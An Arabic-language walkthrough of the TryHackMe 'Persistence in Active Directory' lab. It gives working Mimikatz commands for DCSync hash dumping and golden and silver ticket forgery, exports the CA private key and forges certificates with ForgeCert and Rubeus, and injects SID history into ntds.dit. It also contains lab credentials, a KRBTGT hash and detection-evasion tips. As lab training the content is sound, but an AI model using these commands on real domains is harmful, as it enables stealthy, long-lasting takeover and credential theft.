راح نركز على الامور هاي بهاد الشرح
1. الـ Persistence من خلال الـ Credentials
2. الـ Persistence من خلال الـ Tickets
3. الـ Persistence من خلال الـ Certificates
4. الـ Persistence من خلال الـ SID History
5. الـ Persistence من خلال الـ Group Membership
6. الـ Persistence من خلال الـ ACLs
7. الـ Persistence من خلال الـ GPOs
التحديات من TryHackMe | Persistence in Active Directory
الـ Persistence من خلال الـ Credentials
سبق وتعلمنا كيف نجهز البيئة كامله ونحل اي مشكله ممكن تواجهنا بالـ (Dns) + (vpn)
1. Dns
لكن هاي المره بننفذ هذه الامر
Bash:
systemd-resolve --interface [SIZE=5][B]Persisting [/B][/SIZE]--set-dns $THMDCIP --set-domain za.tryhackme.locاو عن طريق الامرين
كود:
resolvectl dns Persistad $THMDCIP
resolvectl domain Persistad za.tryhackme.locبعد ما اخترقنا الـ AD وعملنا الاستطلاع واستغليناه للنهاية وصلنا أخيرًا لمرحلة الـ Persistence
الشغل الصعب خلص واجا وقت المتعة مع أنه الـ Persistence بالـ AD شغلة مهمه بس مو مرهقة زي المراحل اللي قبل
مع اسم المستخدم اللي بصلاحيات منخفضه
بيانات اعتماد Domain Administrator لما نحكي عن تقنيات الـ Persistence بنستخدم privileged credentials عشان ننفذ تقنيات الـ Persistence على حسابنا اللي بصلاحيات منخفضة
هاد هو الحساب DA:
- اسم المستخدم: Administrator
- كلمة المرور: tryhackmewouldnotguess1@
- المجال: ZA
أول وأقل تقنية Persistence بنناقشها هي الـ Credentials كثير من تقنيات الـ lateral movement اللي حكينا عنها بالشروحات الماضيه كانت بتخلّينا نقدر نحصل على الـ Credentials لما نستخدم كلمة "Credentials" تعني زوج اسم مستخدم وكلمة مرور لكن بالـ AD حتى الـ Hash لكلمة المرور بتكفي للمصادقة من خلال تقنيات الـ pass-the-hash
مزامنة وحدة التحكم بالمجال (DC Sync)
بالمؤسسات الكبيرة ما بكفي وجود DC واحد لكل مجالغالبًا الـ Domain هاي بتستخدم multiple regional locations ولو كان عننا DC واحد بس بكون فيه تأخير كبير بأي من خدمات المصادقة بالـ AD عشان هيك المؤسسات هاي بتستخدم اكثر من DC السؤال هون: كيف بنقدر نصادق بنفس الـ Credentials بمكتبين مختلفين؟
الإجابة هي domain replication كل الـ DCs بتشغّل عملية تسمى Knowledge Consistency Checker (KCC) الـ KCC بعمل تكرار للـ forest بالـ AD وبتصل تلقائيًا بالـ DCs الثانية من خلال الـ Remote Procedure Calls (RPC) عشان يزامن المعلومات طبعا بشمل المعلومات المحدثة زي كلمة المرور الجديدة للمستخدم والـ objects الجديدة زي إنشاء مستخدم جديد عشان هيك عادةً لازم نستنا شوي قبل ما نجرب الباس بعد ما نغير كلمة المرور لأنه الـ DCs اللي تغيرت فيها كلمة المرور ممكن ما تكون نفس اللي بنجرب نصادق عليها
عملية الـ replication تسمى DC Synchronisation مو بس الـ DCs اللي بتقدر تبدأ عملية الـ replication كمان اللي بنتمي لمجموعات الـ Domain Admins بقدر يعملها كمان لأغراض مسموحه زي إنشاء DCs جديدة
هجوم شائع راح ننفذه الا وهو الـ DC Sync لو عننا وصول لحساب عنده أذونات replication بنقدر ننفذ هجوم DC Sync عشان نجمع Credentials من الـ DC
ليس كل الـ Credentials متساوية
قبل ما نبدأ هجوم الـ DC Sync خلينا نتناقش عن الـ Credentials اللي بنقدر ندور عليهااكيد دايما لازم ندور على الـ Credentials الـ privileged زي اللي بتنتمي لمجموعة الـ Domain Admins لكن هاي كمان الـ Credentials اللي بتتدوّر (مصطلح الفريق الأزرق يعني إعادة تعيين كلمة مرور الحساب) أولاً يعني لو عننا بس Credentials privileged بنقدر نحكي بمجرد ما يكتشفنا الـ Blue Team بندور على الحسابات هاي وممكن نفقد وصولنا
الهدف إذًا هو الـ Persistence من خلال Credentials قريبة من الـ privileged
مو دايما بنحتاج المفاتيح الكاملة للقصر بس بنحتاج مفاتيح كافية عشان نضمن إننا لسه بنقدر ندخل عشان هيك لازم نحاول نثبت او نحافظ على وصولنا من خلال الـ Credentials اللي زي:
1. الـ Credentials اللي عندها local administrator على كذا جهاز
عادةً المؤسسات عندها مجموعة أو ثنتين عندهم local administrator على كل الأجهزة تقريبًا هاي المجموعات غالبًا مقسمة لـ وحده للـ workstations ووحده للسيرفرات, لما Credentials لأعضاء هاي المجموعات بظل عننا وصول لمعظم أجهزة الكمبيوتر بالمؤسسة
2. حسابات الخدمات اللي عندها delegation permissions مع هاي الحسابات بنقدر نعمل او ننشئ تذاكر ذهبية وفضية عشان ننفذ هجمات Kerberos delegation
3. الحسابات المستخدمة لخدمات الـ AD الـ privileged لو اخترقنا حسابات الخدمات الـ privileged زي الـ Exchange أو الـ Windows Server Update Services (WSUS) أو الـ System Center Configuration Manager (SCCM) بنقدر نستغلهن عشان نرجع نحصل على دخول privileged
لما نحكي عن الـ Credentials اللي لازم نسحبها ونثبت من خلالها طبعا بعتمد على كثير أشياء لازم نكون مختلفين بتفكيرنا وناخذها على حسب كل حالة
لكن بهاد الشرح راح نسحب كل الـ Credentials اللي بنقدر نحصل عليها
مزامنة وحدة التحكم بالمجال للجميع (DCSync All)
بنستخدم Mimikatz عشان نجمع الـ Credentials بنتصل عن طريق الـ SSH لـ THMWRK1 باستخدام حساب الـ Administrator وبنشغّل الـ Mimikatz:بنبدأ بعمل DC Sync لحساب واحد حسابنا الـ Low-Privilege اللي اخذناه من الموقع Cerds:
Generate an NTLM Hash - NTLM Password - Online - Browserling Web Developer Tools
Useful, free online tool that computes NTLM password hashes. No ads, nonsense, or garbage, just an NTLM passworda hash generator. Press a button – get the result.
عشان نحول كلمه السر لـ NTLM Hash
حلو لكن بدنا DC Sync لكل الحسابات عشان هيك لازم نشغّل الـ logging بالـ Mimikatz:
هسا بدال ما نحدد حسابنا بنستخدم العلامة all/:
ممكن يوخذ شوية وقت حتى ينتهي لما يخلّص بنخرج من الـ Mimikatz عشان ننهي ملف الـ Log وبعدها بنقدر ننزل الملف وبنستخدم الأمر التالي عشان نسترد كل أسماء المستخدمين:
Bash:
cat <username>_dcdump.txt | grep "SAM Username"والامر التالي عشان نسترد كل الـ Hash's:
Bash:
cat <username>_dcdump.txt | grep "Hash NTLM"الآن بنقدر يا إما نحاول نعمل password cracking عشان نحصل على الـ Credentials النصية العادية أو ممكن ننفذ هجوم pass-the-hash باستخدام Mimikatz زي ما عملنا سابقا
الأسئلة
الـ Persistence من خلال الـ Tickets
زي ما حكينا غالبًا بدنا نثبت حالنا من خلال حسابات الخدمة اللي عندها أذونات الـ delegation عشان نزوّر تذاكر ذهبية وفضية لكن شو هي بالضبط وليش كل تدريب للـ Blue Team على بنتهي بواحد بصرخ احذف كل التذاكر الذهبية والفضية!؟
تذاكر إلى مصنع الشوكولاتة
قبل ما ندخل بالتذاكر الذهبية والفضية لازم نعمل مراجعة سريعة للـ Kerberos الرسم البياني اللي تحت بوضح الوضع العادي للـ Kerberos authentication:
المستخدم بعمل طلب AS-REQ للـ KDC (اللي على الـ DC) وهاد الطلب بشمل طابع زمني مشفر بالـ NTLM hash الخاص بالمستخدم
يعني هاد طلب للحصول على تذكرة TGT وزي ما شرحنا قبل
1. الـ DC بتتحقق من المعلومات وبرسللنا الـ TGT
2. هالـ TGT موقّعة بالـ hash لكلمة المرور حساب الـ KRBTGT اللي محفوظة بس على الـ DC
3. بعدها بنقدر نرسل هالـ TGT للـ DC عشان نطلب تذكرة TGS للـ service اللي بدنا نوصلها
4. لو الـ TGT صحيحة الـ DC برد بـ TGS مشفرة NTLM hash للخدمة اللي طلبنا الوصول الها
5. بعدين بنقدم الـ TGS للخدمة عشان نوصللها
6. الخدمة بتقدر تتحقق من الـ TGS لأنها بتعرف الـ NTLM الخاصة فيها وبتقدر تعطي المستخدم الوصول
هسا بنحكي عن التذاكر الذهبية والفضية
التذاكر الذهبية
التذاكر الذهبية هي تذاكر TGT مزورة (يعني بنتخطى الخطوتين 1 و2 اللي بالصوره) اللي فيها بنثبت للـ DC مين احنالما يكون عننا TGT صالحة لحساب privileged بنقدر نطلب TGS لأي خدمة تقريبًا بدنا اياها
عشان نزوّر تذكرة ذهبية بنحتاج الـ hash لكلمة المرور حساب الـ KRBTGT عشان نقدر نوقّع TGT لأي حساب مستخدم بدنا اياه
بعض المعلومات عن التذاكر الذهبية:
1. لو تلاعبنا بهاي المرحلة من عملية الـ Kerberos ممكن نأثر على البروتوكول أو نستخدمه لصالحنا ... ما بنحتاج الـ hash لكلمة المرور الحساب اللي بدنا ننتحل شخصيته لأننا بنتخطى هاي الخطوة, الـ TGT تُستخدم بس عشان تثبت إنه الـ KDC (اللي على الـ DC) وقّعها, بما إنها موقّعة بـ hash الـ KRBTGT التحقق بمشي والـ TGT تُعتبر صالحة مهما كان محتواها
2. بالنسبة للمحتويات الـ KDC بتحقق من حساب المستخدم المحدد بالـ TGT لو كان أقدم من 20 دقيقة فقط, يعني بنقدر نحط حساب معطل أو محذوف أو مو موجود بالـ TGT وبكون صالح طالما إنه الطابع الزمني مو أقدم من 20 دقيقة
3. بما إنه السياسات والقواعد للتذاكر بتتحدد بالـ TGT نفسها بنقدر نكتب فوق القيم اللي بحطها الـ KDC، زي مثلاً التذاكر لازم تكون صالحة لـ 10 ساعات بس بنقدر نخليها تكون الـ TGT الخاصة فينا صالحة لـ 10 سنين، وهاد بعطينا بقاء او Persistence
4. افتراضيًا كلمة مرور حساب KRBTGT ما بتتغير أبدًا يعني لما نحصل عليها، عننا وصول دائم بإنشاء TGT للأبد إلا اذا تم تغييرها يدوي
5. الـ Blue Team لازم يغير كلمة مرور حساب KRBTGT مرتين لأنه كلمات المرور الحالية والسابقة بتظل صالحة للحساب هاد عشان يضمنوا إنه التغير لكلمة المرور ما يأثر على الخدمات
6. تغيير كلمة مرور حساب KRBTGT عملية صعبة جدًا للـ Blue Team لأنها بتخلّي كمية كبيرة من الخدمات بالبيئة تتوقف عن العمل, هم بفكروا إنه عندهم TGT صالحة أحيانًا للساعات الجاية لكن هالـ TGT مش صالحة مو كل الخدمات ممكن تلاحظ إنه الـ TGT مش صالح صار (لأنه الطابع الزمني لسه صالح) وبالتالي ما بتطلب TGT جديدة تلقائيًا
7. التذاكر الذهبية بتسمحلنا نتخطى مصادقة الـ smart card لأنه الـ smart card بتأكد منها الـ DC قبل ما تنشئ الـ TGT
8. بنقدر ننشئ تذكرة ذهبية على أي جهاز حتى اللي مو منضم للـ Domain (زي جهازنا ) وهاد بخلي اكتشافها أصعب على الـ Blue Team
9. غير الـ Hash لكلمة مرور حساب الـ KRBTGT، بنحتاج اسم الـ Domain، والـ SID للـ Domain، والـ user ID للشخص اللي بدنا ننتحل شخصيته
لو كنا بوضع بنقدر نسترد فيه الـ Hash لكلمة مرور حساب الـ KRBTGT بكون قادرين نعرف المعلومات الثانية المطلوبة
التذاكر الفضية
التذاكر الفضية هي تذاكر TGS مزورة يعني الآن بنتخطى كل التواصل (الخطوات من 1 لـ 4 بالرسمه فوق) كنا نتعامل مع الـ KDC على الـ DC ونتعامل مباشرة مع الخدمة اللي بدنا نوصللهابعض المعلومات عن التذاكر الفضية:
1. الـ TGS المنشأة يتم توقيعها بحساب الجهاز اللي بنهاجمه
2. الفرق الرئيسي بين التذاكر الذهبية والفضية هو عدد الصلاحيات اللي بنحصل عليها لو عندنا الـ Hash لكلمة مرور حساب الـ KRBTGT بنقدر نوصل لكل اشي لكن مع التذكرة الفضية, بما انه عننا بس وصول للـ Hash لكلمة مرور حساب الجهاز للسيرفر اللي بنهاجمه بنقدر بس ننتحل شخصية المستخدمين على الـ Host نفسه
3. نطاق التذكرة الفضية محدود بـ خدمة محدده على سيرفر المحدد
4. بما إنه الـ TGS مزورة ما فيه TGT مرتبطة فيها يعني الـ DC ما اتّصلنا فيها أبدًا, هاد بخلّي الهجوم خطير لأنه السجلات المتوفرة الوحيدة بتكون على السيرفر المستهدف يعني مع إنه نطاق الصلاحيات أكثر محدودية لكنه أصعب بكثير على الـ Blue Team يكتشفوه
5. بما إنه الصلاحيات بتتحدد عن طريق الـ SIDs، بإمكاننا نعمل يوزر مش حقيقي (ما إله وجود فعلي) ونستخدمه بالتذكرة الفضية بس لازم نضمن إنه التذكرة فيها الـ SIDs اللي بتحط اليوزر ضمن قروب الـ local administrators عالجهاز
6. عادةً كلمة مرور حساب الجهاز بتتغير كل 30 يوم، وهاد ما بكون منيح للـ Persistence لكن بنقدر نستفيد من الوصول اللي بتوفره الـ TGS عشان نوصل لسجل الـ Host ونغير الـ parameter المسؤولة عن تغيير كلمة مرور حساب الجهاز, وبالتالي بنضمن إن حساب الجهاز بظل ثابت وبعطينا Persistence على الجهاز
7. مع إنه الوصول لـ Host واحد بس ممكن يظهر انه تراجع كبير لكن حسابات الجهاز قد تُستخدم كحسابات AD عادية وهاد بسمحلنا مو بس بالوصول الإداري للـ Host لكن كمان بالوسائل اللي شرحناها لنواصل الاستطلاع واستغلال الـ AD
تزوير التذاكر
الآن بعد ما شرحنا الأساسيات للتذاكر الذهبية والفضية، خلينا ننشئهابنحتاج الـ Hash لكلمة مرور حساب الـ KRBTGT اللي المفروض تكون عننا بسبب الـ DC Sync اللي نفذناه قبل
16f9af38fca3ada405386b3b57366082
وكمان بنحفظ الـ Hash لكلمة المرور المرتبطه بحساب الجهاز THMSERVER1 لأننا بنحتاجها لتذكرتنا الفضية
بنلاقي هاي المعلومات بالملف اللي سحبناه
آخر شغله بنحتاجها هي الـ SID للـ Domain باستخدام الـ SSH بالحساب اللي اخذناه من الموقع على THMWRK1، بنقدر نستخدم أمر AD-RSAT PowerShell عشان نسترد هاي المعلومة:
الآن بعد ما عننا كل المعلومات المطلوبة، بنقدر نعيد تشغيل الـ Mimikatz وننفذ الخطوات التالية عشان ننشئ تذكرة ذهبية:
Bash:
kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /krbtgt:<NTLM hash of KRBTGT account> /endin:600 /renewmax:10080 /pttشرح:
admin/ - اسم المستخدم اللي بدنا ننتحل شخصيته (مش لازم يكون مستخدم صالح)
domain/ - الـ FQDN للـ Domain اللي بدنا ننشئ له التذكرة
id/ - الـ RID للمستخدم ... افتراضيًا الـ Mimikatz بستخدم RID 500 وهو RID لحساب المسؤول الافتراضي
sid/ - الـ SID للـ Domain اللي بدنا ننشئ له التذكرة
krbtgt/ - الـ Hash لكلمة مرور حساب الـ KRBTGT
/endin - مدة صلاحية التذكرة ... افتراضيًا الـ Mimikatz بولد تذكرة صالحة لـ 10 سنين سياسة Kerberos الافتراضية للـ AD هي 10 ساعات (600 دقيقة)
renewmax/ - الحد الأقصى لمدة صلاحية التذكرة مع التجديد ... افتراضيًا الـ Mimikatz بولد تذكرة صالحة لـ 10 سنين سياسة Kerberos الافتراضية للـ AD هي 7 أيام (10080 دقيقة)
ptt/ - هاي عشان نحكي للـ Mimikatz يحقن التذكرة مباشرة بالجلسة يعني جاهزة للاستخدام
بنقدر نتأكد إنه التذكرة الذهبية شغالة بتشغيل أمر dir على الـ DC:
كود:
dir \\thmdc.za.tryhackme.loc\c$\حتى لو كانت التذكرة الذهبية عندها وقت طويل جدًا الـ Blue Team لسه بقدر يدافع ضدها ببساطة بتغيير كلمة مرور الـ KRBTGT مرتين لو بدنا نثبت جد لازم ننشئ تذاكر فضية لانها أقل احتمال انهم يكتشفوها وأصعب بكثير يدافعوا ضدها لأنه لازم يغيرو كلمات مرور كل حسابات الاجهزه
بنقدر نستخدم أمر Mimikatz التالي عشان ننشئ تذكرة فضية:
كود:
kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /pttadmin/ - اسم المستخدم اللي بدنا ننتحل شخصيته (مش لازم يكون مستخدم صالح)
domain/ - الـ FQDN للـ Domain اللي بدنا ننشئ له التذكرة
id/ - الـ RID للمستخدم ... افتراضيًا الـ Mimikatz بستخدم RID 500 وهو RID لحساب المسؤول الافتراضي
sid/ - الـ SID للـ Domain اللي بدنا ننشئ له التذكرة
target/ - اسم الـ Host للسيرفر المستهدف THMSERVER1.za.tryhackme.loc ممكن يكون أي Host منضم للـ Domain
rc4/ - الـ Hash لكلمة مرور لحساب الجهاز المستهدف, بندور بنتائج الـ DC Sync بالملف عن الـ NTLM Hash للـ THMSERVER1$ علامة $ تدل إنه حساب جهاز
service/ - الخدمة اللي بدنا نطلبها TGS. CIFS خيار آمن لأنه بسمح بالوصول للملفات
ptt/ - هاي عشان نحكي للـ Mimikatz يحقن التذكرة مباشرة بالجلسة يعني جاهزة للاستخدام
نقدر نتأكد إنه التذكرة الفضية شغالة بتشغيل أمر dir على THMSERVER1:
كود:
dir \\thmserver1.za.tryhackme.loc\c$\الآن عننا تذاكر ذهبية وفضية لبيئة الـ AD وهاد بعطينا ثبات أفضل من مجرد Credentials
الأسئلة
الـ Persistence من خلال الـ Certificates
التقنيات هاي صعبة الإزالة حتى لو كان معك موافقة رسمية لازم تكون دقيق وحذر لما تستخدمهن
ممكن تدمر الـ domain كله ويحتاج بناء من جديد لازم تكون واعي للمخاطر وتستخدمها فقط لما تكون ضرورية وبإذن مسبق عادةً الـ Red Team بكتفي بمحاكاتها (simulate) بدل التنفيذ الحقيقي
زي ما حكينا بالمواضيع السابقة استخدام الـ Certificates كان لنوصل للـ Domain Admins لكن هاي المرة بنستخدمها للـ Persistence كل اللي بنحتاجه valid certificate بنقدر نستعملها لتأكيد هوية العميل Client Authentication هاد الشي بسمحلنا نطلب تذكرة TGT من الـ Kerberos حتى لو غيروا كلمات السر الحل الوحيد يوقفونا هو إلغاء الشهادة (revoke) أو تنتهي صلاحيتها يعني غالبًا عننا وصول لمدة خمس سنين تقريبًا
استخراج المفتاح الخاص
لو عننا صلاحيات كافية بنقدر نستخرج الـ private key لشهادة الـ root CA من الـ Certificate Authority - CA بهاي الطريقة بنقدر نصنع شهادات متى ما بدنا والمشكلة الكبيرة إنه الـ Blue Team ما بقدر يلغيها لأنها مو صادرة من الـ CA الرسمي هاي مشكلة كبيرة الهم لأنهم لازم يعيدوا بناء الـ CA من جديدالـ private key موجود على سيرفر الـ CA ولو مو محمي بـ Hardware Security Module (HSM) بنقدر نطلعه باستخدام أدوات زي Mimikatz
الملخص اللي بدنا نعمله باستخدام أدوات مثل Mimikatz وSharpDPAPI بنستخرج شهادة الـ CA وبالتالي الـ private key من الـ CA وفي برضو ادوات ثانيه شوف الموضوع
Golden Certificate
Domain persistence techniques enable red teams that have compromised the domain to operate with the highest level of privileges in a large period. One of the most common domain persistence techniqu…
pentestlab.blog
بنستخدم SSH وبنسجل دخول على الدومين THMDC.za.tryhackme.loc بحساب الـ Administrator بننشئ مجلد وبننتقل عليه وبنشغل الـ Mimikatz:
اول اشي بنشوف اذا بنقدر نعرض الشهادات المخزنة على الـ DC:
كود:
crypto::certificates /systemstore:local_machineبامكننا نشوف انه في شهادة CA على الـ DC وكمان بنلاحظ انه بعض الشهادات تم تعيينها بـ عدم السماح بتصدير الـ private key
بدون الـ private key ما بنقدر ننشئ شهادات جديدة لكن عن طريق Mimikatz بتغيير الذاكرة بتخليلنا المفاتيح قابلة للتصدير:
كود:
privilege::debug
crypto::capi
crypto::cng
كود:
crypto::certificates /systemstore:local_machine /exportبتم تخزين الشهادات المصدرة بتنسيق PFX وDER :
شهادة za-THMDC-CA.pfx هي اللي بتهمنا بشكل خاص
عشان نصدر الـ private key لازم نستخدم كلمة مرور لتشفير الشهادة
افتراضيًا الـ Mimikatz بتعين كلمة المرور mimikatz بننزل أو بننسخ الشهادة على جهازنا باستخدام SCP بعدها بننقلها على حسابنا اللي بصلاحيات منخفضة على الـ THMWRK1 وبرضو بتقدر تنفذ بقية الخطوات على جهازك الـ Windows اللي يعتبر غير منضم للدومين إذا بدك
او بننقلها عن طريق الامر اسهل
Bash:
scp [email protected]:'C:/Users/Administrator/abood/local_machine_My_1_za-THMDC-CA.pfx' [email protected]:'C:/Tools'إنشاء شهاداتنا الخاصة
هسا بعد ما صار عننا الـ private key والـ root CA's بإمكاننا نستخدم أداة SpecterOps ForgeCert عشان نزور Authenticate certificate لأي مستخدم بدنا اياه في ملفات الـ ForgeCert والـ Rubeus بالمجلد C:\Tools على THMWRK1 بنستخدم الـ ForgeCert عشان ننشئ شهادة جديدة عن طريق حسابنا اللي اخذناه من الموقع:
Bash:
za\aaron.jones@THMWRK1 C:\Users\aaron.jones>C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName [email protected] --NewCertPath fullAdmin.pfx --NewCertPassword Password123شرح:
CaCertPath - المسار لشهادة الـ CA اللي نقلناها
CaCertPassword - كلمة المرور المستخدمة لتشفير الشهادة افتراضيًا الـ Mimikatz بتحطها mimikatz
Subject - الموضوع أو الاسم الشائع للشهادة مش مهم كثير للموضوع اللي بدنا الشهاده عشانه
SubjectAltName - اسم المستخدم الرئيسي UPN للحساب اللي بدنا ننتحل شخصيته باستخدام هاي الشهادة لازم يكون مستخدم حقيقي
NewCertPath - المسار راح يتخزن فيه الـ ForgeCert للشهادة المنشأة
NewCertPassword - بما أنه الشهادة راح تطلب تصدير الـ private key للمصادقة لازم نعين كلمه سر جديده لتشفيرها
بامكاننا نستخدم Rubeus عشان نطلب TGT باستخدام الشهادة حتى نتحقق انه الشهادة موثوقة بنستخدم الأمر :
Bash:
C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:za.tryhackme.loc /dc:<IP of domain controller>
شرح:
user - بنحدد المستخدم اللي بدنا ننتحل شخصيته ولازم يتطابق مع الـ UPN للشهادة اللي أنشأناها
enctype - بنحدد نوع التشفير للتذكرة بنعينها عشان نقدر نتهرب من اي كشف لانه خوارزمية التشفير الافتراضية ضعيفة وممكن يعطي تنبيه overpass-the-hash
certificate - المسار للشهادة اللي أنشأناها
password - كلمة المرور لملف الشهادة
outfile - الملف اللي راح يتم إخراج الـ TGT اله
domain - الـ FQDN للدومين اللي بنهاجمه حاليًا
dc - الـ IP للـ DC اللي بنطلب منها الـ TGT عادة الأفضل نختار الـ DC اللي عليه خدمة الـ CA
بعد ما ننفذ الامر او الشهادة بنحصل على الـ TGT:
بإمكاننا نستخدم الـ Mimikatz عشان نحمل الـ TGT ونصادق على الـ THMDC:
لم نعد أصدقاء مع الفريق الأزرق 
الـ Persistence باستخدام الشهادات أصعب بكثير بالدفاع ضدها حتى إذا غيرنا كلمه سر الحساب المخترق بتظل الشهادة صالحة
الطريقة الوحيدة لإزالة الـ Persistence هي إلغاء للشهادة
ومع هيك ممكن بس إذا أنشأنا الشهادة من خلال قنوات شرعية بما أننا قمنا بتصدير الـ CA وانشأنا الشهادة بأنفسنا ف ما بتظهر بقائمة الشهادات الصادرة عن الـ AD CS يعني الـ Blue Team ما بقدر يلغي شهادتنا
إذًا شو هو الحل الوحيد لإزالة الـ Persistence؟ لازم يلغو شهادة الـ Root للـ CA لكن إلغاء هاي الشهادة يعني كل الشهادات الصادرة عن الـ AD CS راح تصير غير صالحة يعني راح يتطرو انهم ينشئو شهادة جديدة لكل نظام بستخدم AD CS
الأسئلة
الـ Persistence من خلال الـ SID History
حكينا عن الـ Security Identifiers (SIDs) قبل بس خلينا نراجع بشكل سريع الـ SIDs تستخدم حتى نتبع الـ security principal ووصول الحساب للموارد
لكن الخاصية المثيرة للاهتمام على الحسابات اسمها SID History
الاستخدام الرسمي او الشرعي للـ SID History هو إنها تسمح للحساب إنه يتكرر cloned لحساب ثاني بشكل فعال هالشي مفيد لما تكون المؤسسة بتعمل AD migration لأنه بسمح للمستخدمين يحافظوا على وصولهم للدومين الأصلي حتى ينقلوا للدومين الجديد, بالدومين الجديد المستخدم بكون عنده SID جديد لكن بنقدر نضيف SID القديم للمستخدم بالـ SID History وهالشي بسمحله يوصل للـ resources بالدومين السابق باستخدام حسابه الجديد بالرغم إنه الـ SID History مفيدة للنقل لكن إحنا كمهاجمين بنقدر نستغل هاي الخاصية للـ Persistence
التاريخ ممكن يكون زي ما بدنا
المسألة إنه الـ SID History مش مقتصر بس على إضافة SIDs من دومينات ثانيةمع صلاحيات مناسبة بنقدر نضيف SID من الدومين الحالي للـ SID History لحساب بنتحكم فيه
ملاحظات مهمة عن تقنية الـ Persistence هاي:
1. عادة بنحتاج صلاحيات الـ Domain Admin أو ما يعادلها عشان ننفذ الهجوم هاد
2. لما الحساب يعمل logon event الـ SIDs المرتبطة بالحساب بتنضاف لـ token المستخدم واللي بحدد الصلاحيات المرتبطة بالحساب وهالشي بشمل الـ group SIDs
3. بنقدر نروح خطوة أبعد لو حقنّا الـ SID للـ Enterprise Admins لأنه هاد الشي برفع صلاحيات الحساب إنه يكون Domain Admin بكل الدومينات بالـ forest
4. بما إنه الـ SIDs بتنضاف لـ token المستخدم الصلاحيات تفعل حتى لو الحساب مو عضو فعلي بالمجموعة هالشي بخلي طريقة الـ Persistence هاي خفية جدًا, بكون عننا كل الصلاحيات اللي بنحتاجها عشان نخرب الدومين كله (يمكن الـ forest كلها) لكن حسابنا ممكن يكون بس حساب مستخدم عادي بعضوية بالـ Domain Users
5. بنقدر نزيد الخفية لمستوى ثاني لو دايمًا بنستخدم هالحساب عشان نغير الـ SID History لحساب ثاني, لانه هدف الـ Persistence الاصلي انه ما ينكتشف ويتصلح
تزوير التاريخ
بنسجل عن طريق الـ SSH على THMDC باستخدام بيانات الـ Administratorقبل ما نزور الـ SID History خلينا نجيب شوية معلومات عن الـ SIDs أولًا بنتأكد إنه مستخدمنا اللي بصلاحيات منخفضة ما عنده حاليًا أي معلومات بالـ SID History:
كود:
Get-ADUser <your ad username> -properties sidhistory,memberofهاد الشي بأكدلنا إنه مستخدمنا ما عنده حاليًا أي SID History معمول بنجيب الـ SID لمجموعة الـ Domain Admins لأنها المجموعة اللي بدنا نضيفها للـ SID History:
كود:
Get-ADGroup "Domain Admins"بنقدر نستخدم الـ Mimikatz عشان نضيف الـ SID History لكن آخر إصدار من الـ Mimikatz عنده مشكلة إنه ما بسمح بتعديل الـ LSASS عشان يحدث الـ SID History عشان هيك بنحتاج نستخدم اشي ثاني بهاي الحالة بنستخدم أدوات الـ DSInternals عشان نعدل مباشرة ملف ntds.dit قاعدة بيانات AD اللي فيها كل المعلومات:
كود:
Stop-Service -Name ntds -force
Add-ADDBSidHistory -SamAccountName 'louis.cole' -SidHistory 'S-1-5-21-3885271727-2693558621-2658995185-512' -DatabasePath C:\Windows\NTDS\ntds.dit
Start-Service -Name ntdsقاعدة بيانات الـ NTDS بتكون مقفلة لما خدمة الـ NTDS شغالة
عشان نعدل الـ SID History، لازم أول شي نوقف الخدمة ونعيد تشغيل خدمة الـ NTDS بعد ما عدلنا وإلا الـ authentication لكل الشبكة ما بتشتغل
بعد ما ننفذ هاي الخطوات
عن طريق الـ SSH بنسجل على THMWRK1 ببياناتنا بحسابنا اللي بصلاحيات منخفضة وبنتأكد إنه SID History انضافت وانه عننا صلاحيات Domain Admin:
كود:
Get-ADUser aaron.jones -Properties sidhistoryمن المخرجات فوق قدرنا نزور الـ SID History وأعطينا حسابنا اللي بصلاحيات منخفضة وصول للـ DA!
مشاكل من الـ Blue Team
لو دخلنا على واحد من الأجهزة باستخدام الـ RDP واستخدمنا AD Users and Groups snap-in بنقدر نشوف خاصية الـ SID History اللي ضفناها للمستخدم لكن حتى مع أعلى الصلاحيات ما بنقدر نمحي هالخاصية لأنها محميةعشان نمحي الـ SID History لازم نستخدم أدوات زي AD-RSAT PowerShell cmdlets
لكن قبل ما نفكر حتى نمحي خصائص الـ SID History الخبيثة لازم نلاقيها ولا اي أداة عادية بتحكيلنا انه في شي غلط
المستخدم هاد ما بظهر فجأة كعضو بمجموعة Domain Admins فإلا إذا كنا بنفلتر بنشاط المستخدمين وهالشي صعب انه نلاقيه لأنه الـ SID History تستخدم بس لما المستخدم يعمل authenticates
تخيل إنك مع الـ Blue Team بتتعاملو كنتو مع المشاكل اللي قبل و domain takeback وغيرتوا كلمة السر الحساب krbtgt مرتين ومحيتو التذاكر الذهبية والفضية وأعدتوا بناء سيرفر الـ CA من الصفر وبالاخر بتشوفونا لسا بننفذ أوامر DA بحساب بصلاحيات منخفضة
الأسئلة
الـ Persistence من خلال الـ Group Membership
إذا ما بدنا نبلش بالـ SID Histories بنقدر نضيف حالنا مباشرة لـ Group بالـ AD
مع انه الـ SID History تقنية Persistence حلوه لانه تغيير كلمات السر لسا بقدر يزيل وجودنا
ببعض الحالات ممكن يكون أفضل ننفذ الـ Persistence عن طريق استهداف الـ Group Membership بالـ AD نفسها
زي ما حكينا قبل الحساب أو المجموعة الأكثر صلاحيات مو دايمًا الأفضل للـ Persistence
المجموعات الـ Privileged براقبوها بشكل أكبر لأي تغييرات بتصير
أي مجموعة تصنف كـ protected group زي الـ Domain Admins أو الـ Enterprise Admins بكون عليها مراقبة إضافية فلو بدنا نستمر بعضوية المجموعات بدنا نعرف كيف نختار المجموعات اللي نضيف حساباتنا عليها للـ Persistence:
1. مجموعة IT Support تستخدم حتى نكسب صلاحيات زي تغيير كلمات مرور المستخدمين force change
بمعظم الحالات ما بنقدر نغير كلمات مرور المستخدمين الـ Privileged لكن قدرتنا على إعادة تعيين كلمات المرور حتى على المستخدمين اللي صلاحياتهم منخفضة بسمحلنا نوصل وننتشر بالـ workstations
2. المجموعات اللي بتعطي صلاحيات local administrator rights غالبًا ما بتراقب بنفس الدقة زي الـ protected group
بصلاحيات local administrator على أجهزة صحيحة من خلال عضوية بمجموعة الـ network support ممكن يكون عننا Persistence ممتاز بنقدر نستخدمه عشان نخرب الدومين مرة ثانية
